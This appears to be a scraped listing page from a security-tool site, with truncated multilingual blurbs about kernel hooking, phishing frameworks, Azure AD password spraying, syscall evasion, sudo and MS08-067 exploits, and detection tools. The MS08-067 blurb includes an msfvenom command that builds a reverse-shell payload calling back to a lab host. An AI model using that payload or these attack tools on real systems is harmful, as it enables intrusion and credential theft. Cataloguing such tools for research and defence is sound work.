xnuspy

xnuspy Salida del registro del kernel después de compilar y ejecutar example/open1hook.c xnuspy es un módulo de pongoOS que instala una nueva llamada al sistema, xnuspyctl, que permite enganchar funciones del kernel desde el espacio de usuario. Es compatible con iOS 13.x, iOS 14.x y iOS 15.x en...

xnuspy

xnuspy Output from the kernel log after compiling and running example/open1hook.c xnuspy is a pongoOS module that installs a new system call, xnuspyctl, which allows you to hook kernel functions from userspace. It supports iOS 13.x, iOS 14.x, and iOS 15.x on checkra1n 0.12.2 and up. 4K devices ar...

udpack

UDPack UDPack is an extensible generic UDP packet obfuscator. The purpose of this application is to sit in the path of a UDP data stream, and obfuscate, deobfuscate or otherwise modify the packets. Python 3.4 or above is required, since this script uses the asyncio library. Using the latest Pytho...

aad-sso-enum-brute-spray

aad-sso-enum-brute-spray POC de la vulnerabilidad de fuerza bruta de contraseñas de Azure Active Directory recientemente revelada por SecureWorks Descripción Este código es una prueba de concepto de la vulnerabilidad de fuerza bruta de contraseñas de Azure Active Directory revelada recientemente,...

webscreenshot

webscreenshot Description A simple script to screenshot a list of websites, based on the url-to-image PhantomJS script. Features Integrating url-to-image 'lazy-rendering' for AJAX resources Fully functional on Windows and Linux systems Cookie and custom HTTP header definition support for the...

r2frida

r2frida Radare2 and Frida better together Description Self-contained plugin for radare2 that ships frida and allows to instrument local or remote processes using r2 commands instead but not limited to Frida scripts. The radare project provides a complete toolchain for reverse engineering, it's...

HellHall

HellsHall - Otra forma de obtener syscalls limpios HellsHall es una combinación de HellsGate y syscalls indirectos. Cómo funciona Primero, HellsHall comprueba si la dirección del syscall está hookeada e intenta recuperar el número de syscall comprobando la presencia de los siguientes bytes: 0x4C,...

evilgophish

Table of Contents evilgophish A Word About Sponsorship Credits Prerequisites Disclaimer Why? Background Infrastructure Layout setup.sh Cloudflare Turnstile Setup Cloudflare Turnstile HTML Template Guide replacerid.sh Email Campaign Setup QR Code Generator SMS Campaign Setup Live Feed Setup A Word...

git-remote-pqcrypt

git-remote-pqcrypt root@kitploit: ESTO ES UN PROYECTO EXPERIMENTAL, no ha pasado por una auditoría de seguridad formal. NO confíes en esto para repositorios críticos. git-remote-pqcrypt es un ayudante remoto de Git cifrado similar a gcrypt. Almacena los paquetes packfiles de Git y los metadatos d...

bluehood

Bluehood 蓝牙邻里 - 追踪您周围的 BLE 设备并分析流量模式。 警告：Alpha 软件 本项目处于早期开发阶段，尚未准备好用于生产环境 。功能可能会在无通知的情况下变更、损坏或被移除。使用风险自负。收集的数据应视为实验性数据。 截图 主仪表板，显示设备列表，支持筛选、搜索和实时统计 标签式配置页面 — 警报、操作、分组和安全 情报页面，包含项目信息和功能概览 为什么？ 本项目的灵感来自 WhisperPair 漏洞（CVE-2025-36911），该漏洞凸显了蓝牙设备中的隐私风险。...

strelka-ui

Releases | Pull Requests | Issues !Pull...

Detection-script-for-cve-2021-23358

Detection-script-for-cve-2021-23358 Script de detección para cve-2021-23358 He creado un script de detección para CVE-2021-23358, que detectará la versión vulnerable de node underscore, ya sea que se haya instalado como herramienta de código abierto o que solo se estén utilizando las librerías...

MS08-067

MS08-067 | CVE-2008-4250 Reference: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN Shellcode Generation We will use msfvenom to genarate the shellcode. root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443...

Invoke-RunAsWithCert

Invoke-RunAsWithCert Un script de PowerShell para realizar la autenticación PKINIT con la API de Windows desde una máquina no unida al dominio. Descripción Este cmdlet crea una nueva sesión de inicio de sesión con el certificado especificado mediante PKINIT. Está pensado para ejecutarse en una...

auth

Auth - Authentication and User Management by Supabase Auth is a user management and authentication server written in Go that powers Supabase's features such as: Issuing JWTs Row Level Security with PostgREST User management Sign in with email, password, magic link, phone number Sign in with...

svg_phishing_tools

Kit de herramientas de análisis de seguridad SVG - Documentación de la herramienta Este kit de herramientas contiene herramientas Python especializadas para analizar archivos SVG potencialmente maliciosos y detectar mecanismos de seguridad. Resumen El kit consta de cuatro herramientas principales...

CVE-2021-3156-Project

CVE-2021-3156 — Baron Samedit Desbordamiento de búfer basado en heap en sudo → Escalada local de privilegios Departamento de Ciberseguridad ITSOLERA | Prácticas de Red Team 2026 root@kitploit: ██████╗ █████╗ ██████╗ ██████╗ ███╗ ██╗ ███████╗ █████╗ ███╗ ███╗███████╗██████╗ ██╗████████╗...

bulwark

An organizational asset and vulnerability management tool, with Jira integration, designed for generating application security reports. Features Multi-client Vulnerability Management Security Report Generation Jira Integration Team-based Roles Authorization API Key & Management Email Integration...

lk_scraper

LinkedIn Scraper Scrapes Any LinkedIn Data Installation root@kitploit: $ pip install git+git://github.com/jqueguiner/lkscraper Setup Using Docker compose root@kitploit: $ docker-compose up -d $ docker-compose run lkscraper python3 Using Docker only for Selenium server First, you need to run a...

haruspex

haruspex "Hacking es la disciplina de cuestionar todas tus suposiciones todo el tiempo." -- Dave Aitel Haruspex es un plugin headless de IDA extremadamente rápido que extrae el pseudocódigo generado por el descompilador de IDA en un formato adecuado para importarlo en un IDE, o para ser analizado...